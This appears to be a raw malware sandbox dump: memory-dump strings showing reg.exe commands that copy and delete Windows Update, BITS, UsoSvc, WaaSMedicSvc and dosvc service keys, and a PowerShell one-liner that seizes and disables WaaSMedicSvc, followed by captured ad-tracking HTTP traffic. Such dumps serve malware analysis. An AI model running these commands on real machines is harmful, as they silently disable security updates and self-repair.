Status:c0000135]39:T3d5f,""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\clinnowyyh" /s /f" in Source: 00000000-00001460.00000000.183278.26470000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" in Source: 00000000-00001460.00000000.183278.265E0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\clinnowyyh" in Source: 00000000-00001460.00000000.183278.265E0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "HKLM\" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00002720.00000000.178880.5E688000.00000002.mdmp " "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp ""C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp " HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "rShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9F2B0085-9218-42A1" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "STRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000000.178880.CFFE0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024" in Source: 00000000-00002720.00000000.178880.E92D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00002720.00000000.178880.E92D0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp " "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp ""C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp " HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "rShell\v1.0\\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9F2B0085-9218-42A1" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "STRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000001.179099.CFFE0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp " HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp " HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "$key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node0" in Source: 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\BITS" in Source: 00000000-00003756.00000000.184897.0EC70000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f" in Source: 00000000-00003756.00000000.184897.0ECC0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" in Source: 00000000-00003776.00000000.181030.8E010000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f" in Source: 00000000-00003776.00000000.181030.8E070000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes" in Source: 00000000-00004180.00000001.176990.40239000.00000020.mdmp "\Registry\Machine\Software\Classes\" in Source: 00000000-00004180.00000001.176990.40239000.00000020.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f" in Source: 00000000-00004600.00000000.182315.26AF0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" in Source: 00000000-00004600.00000000.182315.26D10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005432.00000000.177377.F41D0000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005432.00000000.177377.F41D0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005432.00000000.177377.F50A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005432.00000000.177377.F50A0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005432.00000001.178554.17A9A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005432.00000001.178554.F4280000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005432.00000001.178554.F4280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005432.00000001.178554.F50B5000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005432.00000001.178554.F5810000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005432.00000001.178554.F5810000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00005432.00000001.178554.F5810000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432NodeP" in Source: 00000000-00005432.00000001.178554.F5810000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\zeamkxfprc" /s /f" in Source: 00000000-00006884.00000000.180709.70F00000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" in Source: 00000000-00006884.00000000.180709.71100000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\zeamkxfprc" in Source: 00000000-00006884.00000000.180709.71100000.00000004.mdmp " "C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f" in Source: 00000000-00006932.00000000.186190.91F20000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f" in Source: 00000000-00006932.00000000.186190.91F20000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" in Source: 00000000-00006932.00000000.186190.92150000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" in Source: 00000000-00007024.00000000.183599.DC9A0000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jnbxaolwwx" /s /f" in Source: 00000000-00007296.00000000.181994.2C510000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" in Source: 00000000-00007296.00000000.181994.2C6F0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\jnbxaolwwx" in Source: 00000000-00007296.00000000.181994.2C6F0000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\yirxajznxk" /s /f" in Source: 00000000-00007524.00000000.184575.C63F0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\BITS" in Source: 00000000-00007524.00000000.184575.C65C0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\yirxajznxk" in Source: 00000000-00007524.00000000.184575.C65C0000.00000004.mdmp ""C:\WINDOWS\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\dfnlrcnbcv" /s /f" in Source: 00000000-00007984.00000000.185868.2F6B0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" in Source: 00000000-00007984.00000000.185868.2F9A0000.00000004.mdmp "HKLM\SYSTEM\CurrentControlSet\Services\dfnlrcnbcv" in Source: 00000000-00007984.00000000.185868.2F9A0000.00000004.mdmp3a:T29ce,"GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2 Host: px.ads.linkedin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Cookie: bcookie="v=2&1391f723-91e0-4064-8cb8-08df8de6ce67" Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/png Date: Fri 14 Aug 2026 08:13:31 GMT Server: cloudflare X-Li-Fabric: prod-ltx1 Cf-Ray: a2ae802e8965e418-SJC Vary: Accept-Encoding X-Li-Proto: http/2 Content-Encoding: gzip Cf-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000 Set-Cookie: __cf_bm=STcoZ5FeXOs29aegNQ_bGeWmIT5B1W.ks2tmtr5hWrQ-1786695211.281969-1.0.1.1-jPnjf8Kbctz2UfhrWwFtKnMscLIDymJRJBx4PrGLx1Mk.D_jPZQ_7hW3jtJe3w5hsj9cuvb6mfryEpWxb81JYtssw.09cBVoTq0K86k7OMwLq50y8pAcmYRgtZFR3Mma; HttpOnly; SameSite=None; Secure; Path=/; Domain=linkedin.com; Expires=Fri 14 Aug 2026 08:43:31 GMT X-Li-Uuid: AAZY/WVkXvWWIZuMlAIvow== Nel: {"report_to":"network-errors" "max_age":1296000 "success_fraction":0.00066 "failure_fraction":1 "include_subdomains":true} X-Content-Type-Options: nosniff X-Li-Pop: cf-prod-ltx1-x Report-To: {"group":"network-errors" "max_age":2592000 "endpoints":[{"url":"https://www.linkedin.com/li/rep"}] "include_subdomains":true} Alt-Svc: h3=":443"; ma=86400 Linkedin-Action: 1 with response body ==>BINARY_CONTENT....... "GET /sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent= HTTP/2 Host: trc.taboola.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: none Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Date: Fri 14 Aug 2026 08:13:31 GMT Server: nginx X-Service-Version: v1 X-Served-By: cache-lax-kwhp1940029-LAX P3p: policyref="http://trc.taboola.com/p3p.xml" CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Pragma: no-cache X-Cache-Hits: 0 Via: 1.1 varnish Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-To-Nlb-Rtt: 43502 X-Timer: S1786695211.438778 VS0 VE45 X-Cache: MISS X-Vcl-Time-Ms: 45 Cache-Control: no-cache no-store Accept-Ranges: bytes with no response body "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2 Host: m.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 307 Temporary Redirect Content-Type: text/html; charset=utf-8 Date: Fri 14 Aug 2026 08:13:31 GMT Server: nginx/1.25.5 Set-Cookie: uuid2=5682776640747475913; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu 12-Nov-2026 08:13:31 GMT; Domain=.adnxs.com; Secure; HttpOnly Expires: Sat 15 Nov 2008 16:00:00 GMT X-Xss-Protection: 0 An-X-Request-Uuid: fa9c62aa-301b-40c7-b36c-d17f8727dd71 X-Proxy-Origin: 64.124.12.162; 64.124.12.162; 906.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com Location: https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D Cache-Control: no-store no-cache private P3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml" CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Pragma: no-cache Accept-Ch: Sec-CH-UA-Full-Version-List Sec-CH-UA-Arch Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Bitness with no response body "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2 Host: m.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Cookie: uuid2=5682776640747475913 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 302 Found Content-Type: text/html; charset=utf-8 Date: Fri 14 Aug 2026 08:13:32 GMT Server: nginx/1.25.5 Expires: Sat 15 Nov 2008 16:00:00 GMT An-X-Request-Uuid: b8ea6e9b-a698-4f47-a049-3a6d8536b95c P3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml" CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Pragma: no-cache Accept-Ch: Sec-CH-UA-Full-Version-List Sec-CH-UA-Arch Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Bitness Access-Control-Allow-Origin: * Set-Cookie: uuid2=5682776640747475913; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu 12-Nov-2026 08:13:32 GMT; Domain=.adnxs.com; Secure; HttpOnly Access-Control-Allow-Credentials: true X-Xss-Protection: 0 X-Proxy-Origin: 64.124.12.162; 64.124.12.162; 906.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com Location: https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D Cache-Control: no-store no-cache private with no response body "GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D HTTP/2 Host: m.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 302 Found Content-Type: text/html; charset=utf-8 Date: Fri 14 Aug 2026 08:13:32 GMT Server: nginx/1.25.5 Expires: Sat 15 Nov 2008 16:00:00 GMT An-X-Request-Uuid: abc31d16-fd70-4c9b-bb03-56fb81c3dc39 P3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml" CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Pragma: no-cache Accept-Ch: Sec-CH-UA-Full-Version-List Sec-CH-UA-Arch Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Bitness Access-Control-Allow-Origin: * Set-Cookie: uuid2=5682776640747475913; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu 12-Nov-2026 08:13:32 GMT; Domain=.adnxs.com; Secure; HttpOnly Access-Control-Allow-Credentials: true X-Xss-Protection: 0 X-Proxy-Origin: 64.124.12.162; 64.124.12.162; 906.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com Location: https://ib.adnxs.com/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= Cache-Control: no-store no-cache private with no response body "GET /setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 200 OK Content-Type: image/gif Date: Fri 14 Aug 2026 08:13:32 GMT Server: nginx/1.25.5 Set-Cookie: uuid2=5682776640747475913; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu 12-Nov-2026 08:13:32 GMT; Domain=.adnxs.com; Secure; HttpOnly Expires: Sat 15 Nov 2008 16:00:00 GMT X-Xss-Protection: 0 An-X-Request-Uuid: a457013c-6265-4a3b-a41c-833c770f6267 X-Proxy-Origin: 64.124.12.162; 64.124.12.162; 